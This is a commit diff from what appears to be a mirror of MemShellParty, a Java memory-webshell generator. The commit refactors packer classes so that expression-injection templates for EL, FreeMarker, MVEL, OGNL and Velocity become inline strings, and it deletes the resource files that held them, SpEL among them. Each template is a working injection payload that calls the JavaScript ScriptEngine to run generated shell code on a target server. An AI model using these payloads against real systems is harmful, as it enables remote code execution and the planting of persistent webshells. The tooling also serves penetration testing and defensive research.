archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-23 15:31:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

refactor: simplify expression packer

Browse Source
This commit is contained in:
ReaJason
2025-01-29 19:58:02 +08:00
parent 6fcf159d1f
commit 410ee1eff7
11 changed files with 11 additions and 57 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java
+3 -11
View File
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.el;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class ELPacker implements Packer { public class ELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
String template = "";
public ELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult); String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script); return template.replace("{{script}}", script);
} }
} }
generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java
+3 -11
View File
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class FreemarkerPacker implements Packer { public class FreemarkerPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
String template = "";
public FreemarkerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult); String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script); return template.replace("{{script}}", script);
} }
} }
generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java
+1 -9
View File
@@ -15,15 +15,7 @@ import java.util.Objects;
* @since 2025/1/29 * @since 2025/1/29
*/ */
public class MVELPacker implements Packer { public class MVELPacker implements Packer {
String template = ""; String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
public MVELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java
+1 -9
View File
@@ -14,15 +14,7 @@ import java.util.Objects;
* @since 2024/12/14 * @since 2024/12/14
*/ */
public class OGNLPacker implements Packer { public class OGNLPacker implements Packer {
String template = ""; String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
public OGNLPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java
+3 -11
View File
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class VelocityPacker implements Packer { public class VelocityPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
String template = "";
public VelocityPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override @Override
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult); String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script); return template.replace("{{script}}", script);
} }
} }
generator/src/main/resources/ELScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
generator/src/main/resources/FreemarkerScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
generator/src/main/resources/MVELScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')
generator/src/main/resources/OgnlScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
generator/src/main/resources/SpELScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
generator/src/main/resources/VelocityScriptEngine.txt
-1
View File
@@ -1 +0,0 @@
#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')